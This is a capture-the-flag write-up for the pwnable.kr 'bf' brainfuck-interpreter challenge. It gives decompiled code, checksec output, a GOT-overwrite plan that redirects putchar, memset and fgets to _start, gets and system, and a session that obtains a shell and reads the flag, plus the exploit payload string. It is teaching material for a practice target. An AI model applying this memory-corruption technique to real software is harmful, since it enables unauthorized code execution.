Load bf
with IDA:
main:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@4
int v4; // edx@4
size_t i; // [sp+28h] [bp-40Ch]@1
int v6; // [sp+2Ch] [bp-408h]@1
int v7; // [sp+42Ch] [bp-8h]@1
v7 = *MK_FP(__GS__, 20);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(&v6, 0, 1024u);
fgets((char *)&v6, 1024, stdin);
for ( i = 0; i < strlen((const char *)&v6); ++i )
do_brainfuck(*((_BYTE *)&v6 + i));
result = 0;
v4 = *MK_FP(__GS__, 20) ^ v7;
return result;
}
do_brainfuck:
int __cdecl do_brainfuck(char a1)
{
int result; // eax@1
int v2; // ebx@7
result = a1;
switch ( a1 )
{
case '>':
result = p++ + 1;
break;
case '<':
result = p-- - 1;
break;
case '+':
result = p;
++*(_BYTE *)p;
break;
case '-':
result = p;
--*(_BYTE *)p;
break;
case '.':
result = putchar(*(_BYTE *)p);
break;
case ',':
v2 = p;
result = getchar();
*(_BYTE *)v2 = result;
break;
case '[':
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
checksec using checksec --file bf
:
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY FORTIFIED FORTIFY-able FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 bf
We can move a pointer and write value at that address using ,
, also, we can use .
to read data from it. So we can leak libc
address, we can replace given function with the function in libc
.
Since we cannot change the string "[ and ] not supported."
in .rodata
, so it may be not easy to modify puts
's got table to system
. The function putchar
is not suitable either, because the parameter is a char instead of pointer.
Here I modify putchar
's got table to let it jump to _start
, and let memset
be gets
, fgets
be system
.
➜ ctf python bf.py
[+] Opening connection to pwnable.kr on port 9001: Done
[*] Switching to interactive mode
welcome to brainfuck testing system!!
type some brainfuck instructions except [ ]
$ cat flag
BrainFuck? what a weird language..
$ id
uid=1008(bf) gid=1008(bf) groups=1008(bf)
'<'*112+'.'+'.>'*4+'<'*4+',>'*4+'<'*(4+32)+',>'*4+'<'*4+'>'*28+',>'*4+'.'
broken down